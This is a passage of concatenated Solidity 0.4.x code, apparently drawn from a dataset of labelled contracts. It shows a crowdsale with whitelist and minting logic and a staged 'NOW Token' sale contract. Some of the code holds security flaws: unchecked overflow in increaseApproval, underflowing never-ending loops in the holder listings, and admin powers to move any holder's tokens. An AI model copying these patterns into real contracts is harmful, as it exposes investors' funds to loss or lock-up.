if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentage;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentage) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentage:inPercentage});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedTokensListValInPercentage(address addr) constant returns (uint inPercentage) {
return reservedTokensList[addr].inPercentage;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentage) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentage[iterator]);
}
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed) CrowdsaleExt(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) constant returns (bool limitBroken) {
if (!isWhiteListed) throw;
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
function setMaximumSellableTokens(uint tokens) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
} | 0 | 46 |
pragma solidity ^0.4.24;
contract Z_ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Z_ERC20 is Z_ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Z_BasicToken is Z_ERC20Basic {
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Z_StandardToken is Z_ERC20, Z_BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function transferFromByAdmin(address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender] + (_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue - (_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Z_Ownable {
address public owner;
mapping (address => bool) internal admin_accounts;
constructor() public {
owner = msg.sender;
admin_accounts[msg.sender]= true;
}
modifier onlyOwner() {
require(msg.sender == owner );
_;
}
function isOwner() internal view returns (bool) {
return (msg.sender == owner );
}
modifier onlyAdmin() {
require (admin_accounts[msg.sender]==true);
_;
}
function isAdmin() internal view returns (bool) {
return (admin_accounts[msg.sender]==true);
}
}
contract NOWToken is Z_StandardToken, Z_Ownable {
string public constant name = "NOW Token";
string public constant symbol = "NOW";
uint8 public constant decimals = 18;
uint256 internal constant _totalTokenAmount = 3 * (10 ** 9) * (10 ** 18);
uint256 internal constant WEI_PER_ETHER= 1000000000000000000;
uint256 internal constant NUM_OF_SALE_STAGES= 5;
enum Sale_Status {
Initialized_STATUS,
Stage0_Sale_Started_STATUS,
Stage0_Sale_Stopped_STATUS,
Stage1_Sale_Started_STATUS,
Stage1_Sale_Stopped_STATUS,
Stage2_Sale_Started_STATUS,
Stage2_Sale_Stopped_STATUS,
Stage3_Sale_Started_STATUS,
Stage3_Sale_Stopped_STATUS,
Stage4_Sale_Started_STATUS,
Stage4_Sale_Stopped_STATUS,
Public_Allowed_To_Trade_STATUS,
Stage0_Allowed_To_Trade_STATUS,
Closed_STATUS
}
Sale_Status public sale_status= Sale_Status.Initialized_STATUS;
uint256 public sale_stage_index= 0;
uint256 public when_initialized= 0;
uint256 public when_public_allowed_to_trade_started= 0;
uint256 public when_stage0_allowed_to_trade_started= 0;
uint256 [NUM_OF_SALE_STAGES] public when_stageN_sale_started;
uint256 [NUM_OF_SALE_STAGES] public when_stageN_sale_stopped;
uint256 public sold_tokens_total= 0;
uint256 public raised_ethers_total= 0;
uint256[NUM_OF_SALE_STAGES] public sold_tokens_per_stage;
uint256[NUM_OF_SALE_STAGES] public raised_ethers_per_stage;
uint256[NUM_OF_SALE_STAGES] public target_ethers_per_stage= [
1000 * WEI_PER_ETHER,
9882 * WEI_PER_ETHER,
11454 * WEI_PER_ETHER,
11200 * WEI_PER_ETHER,
11667 * WEI_PER_ETHER
];
uint256[NUM_OF_SALE_STAGES] internal sale_price_per_stage_wei_per_now = [
uint256(1000000000000000000/ uint256(100000)),
uint256(1000000000000000000/ uint256(38000)),
uint256(1000000000000000000/ uint256(23000)),
uint256(1000000000000000000/ uint256(17000)),
uint256(1000000000000000000/ uint256(10000))
];
struct history_token_sale_obj {
address _buyer;
uint256 _ether_value;
uint256 _token_value;
uint256 _when;
}
struct history_token_transfer_obj {
address _from;
address _to;
uint256 _token_value;
uint256 _when;
}
struct history_token_burning_obj {
address _from;
uint256 _token_value_burned;
uint256 _when;
}
history_token_sale_obj[] internal history_token_sale_stage0;
history_token_sale_obj[] internal history_token_sale_stage1;
history_token_sale_obj[] internal history_token_sale_stage2;
history_token_sale_obj[] internal history_token_sale_stage3;
history_token_sale_obj[] internal history_token_sale_stage4;
history_token_transfer_obj[] internal history_token_transfer;
history_token_burning_obj[] internal history_token_burning;
mapping (address => uint256) internal sale_amount_stage0_account;
mapping (address => uint256) internal sale_amount_stage1_account;
mapping (address => uint256) internal sale_amount_stage2_account;
mapping (address => uint256) internal sale_amount_stage3_account;
mapping (address => uint256) internal sale_amount_stage4_account;
mapping (address => uint256) internal holders_received_accumul;
address[] public holders;
address[] public holders_stage0_sale;
address[] public holders_stage1_sale;
address[] public holders_stage2_sale;
address[] public holders_stage3_sale;
address[] public holders_stage4_sale;
address[] public holders_trading;
address[] public holders_burned;
address[] public holders_frozen;
mapping (address => uint256) public burned_amount;
uint256 public totalBurned= 0;
uint256 public totalEtherWithdrawed= 0;
mapping (address => uint256) internal account_frozen_time;
mapping (address => mapping (string => uint256)) internal traded_monthly;
address[] public cryptocurrency_exchange_company_accounts;
event AddNewAdministrator(address indexed _admin, uint256 indexed _when);
event RemoveAdministrator(address indexed _admin, uint256 indexed _when);
function z_admin_add_admin(address _newAdmin) public onlyOwner {
require(_newAdmin != address(0));
admin_accounts[_newAdmin]=true;
emit AddNewAdministrator(_newAdmin, block.timestamp);
}
function z_admin_remove_admin(address _oldAdmin) public onlyOwner {
require(_oldAdmin != address(0));
require(admin_accounts[_oldAdmin]==true);
admin_accounts[_oldAdmin]=false;
emit RemoveAdministrator(_oldAdmin, block.timestamp);
}
event AddNewExchangeAccount(address indexed _exchange_account, uint256 indexed _when);
function z_admin_add_exchange(address _exchange_account) public onlyAdmin {
require(_exchange_account != address(0));
cryptocurrency_exchange_company_accounts.push(_exchange_account);
emit AddNewExchangeAccount(_exchange_account, block.timestamp);
}
event SaleTokenPriceSet(uint256 _stage_index, uint256 _wei_per_now_value, uint256 indexed _when);
function z_admin_set_sale_price(uint256 _how_many_wei_per_now) public
onlyAdmin
{
if(_how_many_wei_per_now == 0) revert();
if(sale_stage_index >= 5) revert();
sale_price_per_stage_wei_per_now[sale_stage_index] = _how_many_wei_per_now;
emit SaleTokenPriceSet(sale_stage_index, _how_many_wei_per_now, block.timestamp);
}
function CurrentSalePrice() public view returns (uint256 _sale_price, uint256 _current_sale_stage_index) {
if(sale_stage_index >= 5) revert();
_current_sale_stage_index= sale_stage_index;
_sale_price= sale_price_per_stage_wei_per_now[sale_stage_index];
}
event InitializedStage(uint256 indexed _when);
event StartStage0TokenSale(uint256 indexed _when);
event StartStage1TokenSale(uint256 indexed _when);
event StartStage2TokenSale(uint256 indexed _when);
event StartStage3TokenSale(uint256 indexed _when);
event StartStage4TokenSale(uint256 indexed _when);
function start_StageN_Sale(uint256 _new_sale_stage_index) internal
{
if(sale_status==Sale_Status.Initialized_STATUS || sale_stage_index+1<= _new_sale_stage_index)
sale_stage_index= _new_sale_stage_index;
else
revert();
sale_status= Sale_Status(1 + sale_stage_index * 2);
when_stageN_sale_started[sale_stage_index]= block.timestamp;
if(sale_stage_index==0) emit StartStage0TokenSale(block.timestamp);
if(sale_stage_index==1) emit StartStage1TokenSale(block.timestamp);
if(sale_stage_index==2) emit StartStage2TokenSale(block.timestamp);
if(sale_stage_index==3) emit StartStage3TokenSale(block.timestamp);
if(sale_stage_index==4) emit StartStage4TokenSale(block.timestamp);
}
event StopStage0TokenSale(uint256 indexed _when);
event StopStage1TokenSale(uint256 indexed _when);
event StopStage2TokenSale(uint256 indexed _when);
event StopStage3TokenSale(uint256 indexed _when);
event StopStage4TokenSale(uint256 indexed _when);
function stop_StageN_Sale(uint256 _old_sale_stage_index) internal
{
if(sale_stage_index != _old_sale_stage_index)
revert();
sale_status= Sale_Status(2 + sale_stage_index * 2);
when_stageN_sale_stopped[sale_stage_index]= block.timestamp;
if(sale_stage_index==0) emit StopStage0TokenSale(block.timestamp);
if(sale_stage_index==1) emit StopStage1TokenSale(block.timestamp);
if(sale_stage_index==2) emit StopStage2TokenSale(block.timestamp);
if(sale_stage_index==3) emit StopStage3TokenSale(block.timestamp);
if(sale_stage_index==4) emit StopStage4TokenSale(block.timestamp);
}
event StartTradePublicSaleTokens(uint256 indexed _when);
function start_Public_Trade() internal
onlyAdmin
{
Sale_Status new_sale_status= Sale_Status(2 + sale_stage_index * 2);
if(new_sale_status > sale_status)
stop_StageN_Sale(sale_stage_index);
sale_status= Sale_Status.Public_Allowed_To_Trade_STATUS;
when_public_allowed_to_trade_started= block.timestamp;
emit StartTradePublicSaleTokens(block.timestamp);
}
event StartTradeStage0SaleTokens(uint256 indexed _when);
function start_Stage0_Trade() internal
onlyAdmin
{
if(sale_status!= Sale_Status.Public_Allowed_To_Trade_STATUS) revert();
uint32 stage0_locked_year= 1;
bool is_debug= false;
if(is_debug==false && block.timestamp < stage0_locked_year*365*24*60*60
+ when_public_allowed_to_trade_started )
revert();
if(is_debug==true && block.timestamp < stage0_locked_year*10*60
+ when_public_allowed_to_trade_started )
revert();
sale_status= Sale_Status.Stage0_Allowed_To_Trade_STATUS;
when_stage0_allowed_to_trade_started= block.timestamp;
emit StartTradeStage0SaleTokens(block.timestamp);
}
event CreateTokenContract(uint256 indexed _when);
constructor() public
{
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
sale_status= Sale_Status.Initialized_STATUS;
sale_stage_index= 0;
when_initialized= block.timestamp;
holders.push(msg.sender);
holders_received_accumul[msg.sender] += _totalTokenAmount;
emit Transfer(address(0x0), msg.sender, _totalTokenAmount);
emit InitializedStage(block.timestamp);
emit CreateTokenContract(block.timestamp);
}
modifier validTransaction( address _from, address _to, uint256 _value)
{
require(_to != address(0x0));
require(_to != _from);
require(_value > 0);
if(isAdmin()==false) {
if(account_frozen_time[_from] > 0) revert();
if(_value == 0 ) revert();
if(sale_status < Sale_Status.Public_Allowed_To_Trade_STATUS) revert();
if( sale_amount_stage0_account[_from] > 0 ) {
if(sale_status < Sale_Status.Stage0_Allowed_To_Trade_STATUS)
revert();
} else {
}
}
_;
}
event TransferToken(address indexed _from_whom,address indexed _to_whom,
uint _token_value, uint256 indexed _when);
event TransferTokenFrom(address indexed _from_whom,address indexed _to_whom, address _agent,
uint _token_value, uint256 indexed _when);
event TransferTokenFromByAdmin(address indexed _from_whom,address indexed _to_whom, address _admin,
uint _token_value, uint256 indexed _when);
function transfer(address _to, uint _value) public
validTransaction(msg.sender, _to, _value)
returns (bool _success)
{
_success= super.transfer(_to, _value);
if(_success==false) revert();
emit TransferToken(msg.sender,_to,_value,block.timestamp);
if(holders_received_accumul[_to]==0x0) {
holders.push(_to);
holders_trading.push(_to);
emit NewHolderTrading(_to, block.timestamp);
}
holders_received_accumul[_to] += _value;
history_token_transfer.push( history_token_transfer_obj( {
_from: msg.sender,
_to: _to,
_token_value: _value,
_when: block.timestamp
} ) );
}
function transferFrom(address _from, address _to, uint _value) public
validTransaction(_from, _to, _value)
returns (bool _success)
{
if(isAdmin()==true) {
emit TransferTokenFromByAdmin(_from,_to,msg.sender,_value,block.timestamp);
_success= super.transferFromByAdmin(_from,_to, _value);
}
else {
emit TransferTokenFrom(_from,_to,msg.sender,_value,block.timestamp);
_success= super.transferFrom(_from, _to, _value);
}
if(_success==false) revert();
if(holders_received_accumul[_to]==0x0) {
holders.push(_to);
holders_trading.push(_to);
emit NewHolderTrading(_to, block.timestamp);
}
holders_received_accumul[_to] += _value;
history_token_transfer.push( history_token_transfer_obj( {
_from: _from,
_to: _to,
_token_value: _value,
_when: block.timestamp
} ) );
}
event IssueTokenSale(address indexed _buyer, uint _ether_value, uint _token_value,
uint _exchange_rate_now_per_wei, uint256 indexed _when);
function () public payable {
buy();
}
event NewHolderTrading(address indexed _new_comer, uint256 indexed _when);
event NewHolderSale(address indexed _new_comer, uint256 indexed _when);
function buy() public payable {
if(sale_status < Sale_Status.Stage0_Sale_Started_STATUS)
revert();
if(sale_status > Sale_Status.Stage4_Sale_Stopped_STATUS)
revert();
if((uint256(sale_status)%2)!=1) revert();
if(isAdmin()==true) revert();
uint256 tokens;
uint256 wei_per_now= sale_price_per_stage_wei_per_now[sale_stage_index];
if (msg.value < wei_per_now) revert();
tokens = uint256( msg.value / wei_per_now );
if (tokens + sold_tokens_total > totalSupply) revert();
if(sale_stage_index==0) sale_amount_stage0_account[msg.sender] += tokens; else
if(sale_stage_index==1) sale_amount_stage1_account[msg.sender] += tokens; else
if(sale_stage_index==2) sale_amount_stage2_account[msg.sender] += tokens; else
if(sale_stage_index==3) sale_amount_stage3_account[msg.sender] += tokens; else
if(sale_stage_index==4) sale_amount_stage4_account[msg.sender] += tokens;
sold_tokens_per_stage[sale_stage_index] += tokens;
sold_tokens_total += tokens;
raised_ethers_per_stage[sale_stage_index] += msg.value;
raised_ethers_total += msg.value;
super.transferFromByAdmin(owner, msg.sender, tokens);
if(holders_received_accumul[msg.sender]==0x0) {
holders.push(msg.sender);
if(sale_stage_index==0) holders_stage0_sale.push(msg.sender); else
if(sale_stage_index==1) holders_stage1_sale.push(msg.sender); else
if(sale_stage_index==2) holders_stage2_sale.push(msg.sender); else
if(sale_stage_index==3) holders_stage3_sale.push(msg.sender); else
if(sale_stage_index==4) holders_stage4_sale.push(msg.sender);
emit NewHolderSale(msg.sender, block.timestamp);
}
holders_received_accumul[msg.sender] += tokens;
history_token_sale_obj memory history = history_token_sale_obj( {
_buyer: msg.sender,
_ether_value: msg.value,
_token_value: tokens,
_when: block.timestamp
} );
if(sale_stage_index==0) history_token_sale_stage0.push( history ); else
if(sale_stage_index==1) history_token_sale_stage1.push( history ); else
if(sale_stage_index==2) history_token_sale_stage2.push( history ); else
if(sale_stage_index==3) history_token_sale_stage3.push( history ); else
if(sale_stage_index==4) history_token_sale_stage4.push( history );
emit IssueTokenSale(msg.sender, msg.value, tokens, wei_per_now, block.timestamp);
if( target_ethers_per_stage[sale_stage_index] <= raised_ethers_per_stage[sale_stage_index])
stop_StageN_Sale(sale_stage_index);
}
event FreezeAccount(address indexed _account_to_freeze, uint256 indexed _when);
event UnfreezeAccount(address indexed _account_to_unfreeze, uint256 indexed _when);
function z_admin_freeze(address _account_to_freeze) public onlyAdmin {
account_frozen_time[_account_to_freeze]= block.timestamp;
holders_frozen.push(_account_to_freeze);
emit FreezeAccount(_account_to_freeze,block.timestamp);
}
function z_admin_unfreeze(address _account_to_unfreeze) public onlyAdmin {
account_frozen_time[_account_to_unfreeze]= 0;
emit UnfreezeAccount(_account_to_unfreeze,block.timestamp);
}
event CloseTokenContract(uint256 indexed _when);
function closeContract() onlyAdmin internal {
if(sale_status < Sale_Status.Stage0_Allowed_To_Trade_STATUS) revert();
if(totalSupply > 0) revert();
address ScAddress = this;
emit CloseTokenContract(block.timestamp);
emit WithdrawEther(owner,ScAddress.balance,block.timestamp);
selfdestruct(owner);
}
function ContractEtherBalance() public view
returns (
uint256 _current_ether_balance,
uint256 _ethers_withdrawn,
uint256 _ethers_raised_total
) {
_current_ether_balance= address(this).balance;
_ethers_withdrawn= totalEtherWithdrawed;
_ethers_raised_total= raised_ethers_total;
}
event WithdrawEther(address indexed _addr, uint256 _value, uint256 indexed _when);
function z_admin_withdraw_ether(uint256 _withdraw_wei_value) onlyAdmin public {
address ScAddress = this;
if(_withdraw_wei_value > ScAddress.balance) revert();
if(owner.send(_withdraw_wei_value)==false) revert();
totalEtherWithdrawed += _withdraw_wei_value;
emit WithdrawEther(owner,_withdraw_wei_value,block.timestamp);
}
function list_active_holders_and_balances(uint _max_num_of_items_to_display) public view
returns (uint _num_of_active_holders,address[] _active_holders,uint[] _token_balances){
uint len = holders.length;
_num_of_active_holders = 0;
if(_max_num_of_items_to_display==0) _max_num_of_items_to_display=1;
for (uint i = len-1 ; i >= 0 ; i--) {
if( balances[ holders[i] ] != 0x0) _num_of_active_holders++;
if(_max_num_of_items_to_display == _num_of_active_holders) break;
}
_active_holders = new address[](_num_of_active_holders);
_token_balances = new uint[](_num_of_active_holders);
uint num=0;
for (uint j = len-1 ; j >= 0 && _num_of_active_holders > num ; j--) {
address addr = holders[j];
if( balances[ addr ] == 0x0) continue;
_active_holders[num] = addr;
_token_balances[num] = balances[addr];
num++;
}
}
function list_history_of_stage0_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage0.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
